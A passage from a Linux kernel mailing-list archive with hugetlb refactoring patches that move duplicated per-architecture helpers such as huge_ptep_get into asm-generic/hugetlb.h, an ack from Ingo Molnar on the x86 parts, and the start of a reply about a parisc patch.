diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 3dcf5debf8c4..120adc3b2ffd 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,6 +63,7 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9c3950ca2974..165b4e5a6f32 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -43,6 +43,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 69c14ecac133..658bf7136a3c 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -137,6 +137,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 8df4004977b9..c87195ae0cfa 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,13 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index c41754a113f3..028a1465fbe7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -40,6 +40,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index a3f781f7a264..574d42eb081e 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,13 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9b9039845278..f3c99a03ee83 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -110,4 +110,13 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep,
+		pte_t pte, int dirty)
+{
+	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 11/11] hugetlb: Introduce generic version of huge_ptep_get
Date: Mon,  6 Aug 2018 17:57:11 +0000
Lines: 179
Approved: news@gmane.org
Message-ID: <20180806175711.24438-12-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578867 12436 195.159.176.226 (6 Aug 2018 18:07:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:07:47 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:07:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjut-00036R-Au
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:07:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387657AbeHFUUB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:20:01 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:52515 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730220AbeHFUUB (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:20:01 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 9F7C9240009;
        Mon,  6 Aug 2018 18:09:38 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840740 gmane.linux.kernel.mm:201316 gmane.linux.ports.arm.kernel:667946 gmane.linux.ports.ia64:29056 gmane.linux.ports.mips.general:65918 gmane.linux.ports.parisc:28885 gmane.linux.ports.ppc64.devel:160976 gmane.linux.ports.sh.devel:57344 gmane.linux.ports.sparc:28196 gmane.linux.kernel.cross-arch:45605
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840740>

ia64, mips, parisc, powerpc, sh, sparc, x86 architectures use the
same version of huge_ptep_get, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 1 +
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 5 -----
 arch/mips/include/asm/hugetlb.h       | 5 -----
 arch/parisc/include/asm/hugetlb.h     | 5 -----
 arch/powerpc/include/asm/hugetlb.h    | 5 -----
 arch/sh/include/asm/hugetlb.h         | 5 -----
 arch/sparc/include/asm/hugetlb.h      | 5 -----
 arch/x86/include/asm/hugetlb.h        | 5 -----
 include/asm-generic/hugetlb.h         | 7 +++++++
 10 files changed, 9 insertions(+), 35 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 54e4b097b1f5..0d9f3918fa7e 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -29,6 +29,7 @@
  * ptes.
  * (The valid bit is automatically cleared by set_pte_at for PROT_NONE ptes).
  */
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	pte_t retval = *ptep;
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 80887abcef7f..fb6609875455 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return READ_ONCE(*ptep);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index e9b42750fdf5..36cc0396b214 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 120adc3b2ffd..425bb6fc3bda 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -82,11 +82,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 165b4e5a6f32..7cb595dcb7d7 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 658bf7136a3c..33a2d9e3ea9e 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -142,11 +142,6 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index c87195ae0cfa..6f025fe18146 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,11 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 028a1465fbe7..3963f80d1cb3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -53,11 +53,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 574d42eb081e..7469d321f072 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,11 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index f3c99a03ee83..71d7b77eea50 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -119,4 +119,11 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Tue, 7 Aug 2018 11:54:02 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20180807095402.GA12200@gmail.com>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1533635527 9703 195.159.176.226 (7 Aug 2018 09:52:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 09:52:07 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 07 11:52:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmyel-0002Lu-LF
	for glk-linux-kernel-4@m.gmane.org; Tue, 07 Aug 2018 11:52:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388594AbeHGMHk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 7 Aug 2018 08:07:40 -0400
Original-Received: from mail-wr1-f66.google.com ([209.85.221.66]:37446 "EHLO
        mail-wr1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727222AbeHGMHk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 7 Aug 2018 08:07:40 -0400
Original-Received: by mail-wr1-f66.google.com with SMTP id u12-v6so15153803wrr.4;
        Tue, 07 Aug 2018 02:54:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=/O7TdJoP7N2FoanRdi/G7kqSl9vXm6WcMt5chEXnx7o=;
        b=UaJRAVVxSRKur9MPSQZ2Uo1UPET3Ydprsp8o02JewUQdbAbU5swUsE/EtjBuJ+wBCu
         bRaIRPHGCjcdgEe6ndp0SglDIDwXcPYvN+NXRGLT+NtBZmXKEZvWA1BdoLuKL9XZDjbm
         /PZyst4k+bIEQwLprjwghKwuoaIVN+4UTceo717pqO9kH0hQpDIQ0zo9oJCYDB4SXJ1d
         s6QNdxil1HXONF+/YuiosHH+JfCzExrzWaFK2CY3MUHTY0hFubz4KI5suvZHvEskxgP5
         y5tTRnFhu8jvukI6O53DhECjO5Bqjt+5EuE2ukxKPtEkdFPQ8ZZlZ83aUzTDcaARZOuU
         Gf1g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=/O7TdJoP7N2FoanRdi/G7kqSl9vXm6WcMt5chEXnx7o=;
        b=pFbKIS+6Y8UonCxh2FJLogWYVeuKMfd6qKnpQyqO8H3cwuwrJ1BP5ZUiHBvFnh59w8
         l6lQHsnLrnnawK7UU8SVZ315K/oBOuelXb1rGigjhhu/CxAEDciyrRx/1B4a0KX7hZr8
         T1AqEUBgyJ8yCt9u0VH4uOIrb6sABN5svlUotxQiJp2ptq74zSYcXxpRNH6jdRgg0vHU
         3eyuyQ/uJtW4oA4ogNn3lViD2T4WryOqi8teZbBIsJkK2e2QpyONy1PU4rsTG5sMLez8
         OZmYeSAAcDxtzCHY1fcZb6odTHN+r7d/uTO6jLl1s3ghIgbIp1YK+HJPb4+Z3sNYws9x
         0kQQ==
X-Gm-Message-State: AOUpUlHA9FG7SGZN2IUtzpE0o7wPO/wtEkAy8i0XT7FjyVA3wt47wwEI
        ykTi1xvn070bx/zu9CO7UT0=
X-Google-Smtp-Source: AAOMgpeEgHwxMnWaxx9fhC80pBwiUFSRP0teJEeBR4iDRGlYK4soV0+oSVPH/N/ZXm0P0N5shdrNzg==
X-Received: by 2002:adf:f210:: with SMTP id p16-v6mr12506702wro.184.1533635645712;
        Tue, 07 Aug 2018 02:54:05 -0700 (PDT)
Original-Received: from gmail.com (2E8B0CD5.catv.pool.telekom.hu. [46.139.12.213])
        by smtp.gmail.com with ESMTPSA id y206-v6sm1404825wmg.45.2018.08.07.02.54.03
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 07 Aug 2018 02:54:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2841185 gmane.linux.kernel.mm:201346 gmane.linux.ports.arm.kernel:668065 gmane.linux.ports.ia64:29057 gmane.linux.ports.mips.general:65929 gmane.linux.ports.parisc:28886 gmane.linux.ports.ppc64.devel:161009 gmane.linux.ports.sh.devel:57346 gmane.linux.ports.sparc:28198 gmane.linux.kernel.cross-arch:45608
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2841185>


* Alexandre Ghiti <alex@ghiti.fr> wrote:

> [CC linux-mm for inclusion in -mm tree]                                          
>                                                                                  
> In order to reduce copy/paste of functions across architectures and then         
> make riscv hugetlb port (and future ports) simpler and smaller, this             
> patchset intends to factorize the numerous hugetlb primitives that are           
> defined across all the architectures.                                            
>                                                                                  
> Except for prepare_hugepage_range, this patchset moves the versions that         
> are just pass-through to standard pte primitives into                            
> asm-generic/hugetlb.h by using the same #ifdef semantic that can be              
> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.                            
>                                                                                  
> s390 architecture has not been tackled in this serie since it does not           
> use asm-generic/hugetlb.h at all.                                                
>                                                                                  
> This patchset has been compiled on all addressed architectures with              
> success (except for parisc, but the problem does not come from this              
> series).                                                                         
>                                                                                  
> v6:                                                                              
>   - Remove nohash/32 and book3s/32 powerpc specific implementations in
>     order to use the generic ones.                                                        
>   - Add all the Reviewed-by, Acked-by and Tested-by in the commits,              
>     thanks to everyone.                                                          
>                                                                                  
> v5:                                                                              
>   As suggested by Mike Kravetz, no need to move the #include                     
>   <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at          
>   the top of the file.                                                           
>                                                                                  
> v4:                                                                              
>   Fix powerpc build error due to misplacing of #include                          
>   <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as              
>   pointed by Christophe Leroy.                                                   
>                                                                                  
> v1, v2, v3:                                                                      
>   Same version, just problems with email provider and misuse of                  
>   --batch-size option of git send-email
> 
> Alexandre Ghiti (11):
>   hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>   hugetlb: Introduce generic version of hugetlb_free_pgd_range
>   hugetlb: Introduce generic version of set_huge_pte_at
>   hugetlb: Introduce generic version of huge_ptep_get_and_clear
>   hugetlb: Introduce generic version of huge_ptep_clear_flush
>   hugetlb: Introduce generic version of huge_pte_none
>   hugetlb: Introduce generic version of huge_pte_wrprotect
>   hugetlb: Introduce generic version of prepare_hugepage_range
>   hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>   hugetlb: Introduce generic version of huge_ptep_set_access_flags
>   hugetlb: Introduce generic version of huge_ptep_get
> 
>  arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>  arch/arm/include/asm/hugetlb.h               | 30 ----------
>  arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>  arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>  arch/mips/include/asm/hugetlb.h              | 40 +++----------
>  arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>  arch/powerpc/include/asm/book3s/32/pgtable.h |  6 --
>  arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>  arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>  arch/powerpc/include/asm/nohash/32/pgtable.h |  6 --
>  arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>  arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>  arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>  arch/x86/include/asm/hugetlb.h               | 69 ----------------------
>  include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>  15 files changed, 135 insertions(+), 394 deletions(-)

The x86 bits look good to me (assuming it's all tested on all relevant architectures, etc.)

Acked-by: Ingo Molnar <mingo@kernel.org>

Thanks,

	Ingo


From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Tue, 7 Aug 2018 11:11:56 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <CAKwvOdkABF9cxFxrtYo_mMWAunLL_ifM8+=H0On7WWcFmoN0Og@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net> <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net> <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net> <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net> <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
 <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net> <CAKwvOdmXi_EY5=sOO9tRqeoFrHjLsF9L988cGC2yjnFYBxac4w@mail.gmail.com>
 <1d577675-c337-d433-f235-1e46e5d56d4c@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533665409 5843 195.159.176.226 (7 Aug 2018 18:10:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 18:10:09 +0000 (UTC)
Cc: dave.anglin@bell.net, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
        Alistair Strachan <astrachan@google.com>
To: deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 07 20:10:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fn6Qi-0001LX-K7
	for glk-linux-kernel-4@m.gmane.org; Tue, 07 Aug 2018 20:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2389118AbeHGU1l (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 7 Aug 2018 16:27:41 -0400
Original-Received: from mail-pl0-f65.google.com ([209.85.160.65]:34837 "EHLO
        mail-pl0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727572AbeHGU1l (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 7 Aug 2018 16:27:41 -0400
Original-Received: by mail-pl0-f65.google.com with SMTP id w3-v6so7450106plq.2
        for <linux-kernel@vger.kernel.org>; Tue, 07 Aug 2018 11:12:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=SQEKNpO0hpT7bkNsy39qmGPaZqXhTg3NHgpJCyWd7t0=;
        b=sQ9ceGhD5Irswr2brHyLaP3Irv0yb21kZephA7POiLcuE1M8VQepYuH1MbvSjRgqqh
         6B+WHriQgX4k82udIXbQ/issdW858SyAuZtRLIw8JM1VvgZICYu3xmHs+8eR5sL/mwv5
         ZI2WqlYD1h1GOZ1bklZ0gNBFR9xImA04IpD5r4UepaVhK9g5/Q/NXmeUyZyD4RNKmAll
         cHLEjb91bGoidiilgGKx/LYH9eNfj4chaGUSvTVYDkKKTp533sCovHITHSFfdb8Z6PaV
         lGtQ0bAUNIntFfWOjxx67fGkNDdtyJY016oha1QAVU4ePcBsbj/rkN3eCaRX8TtC7tMW
         vLYg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
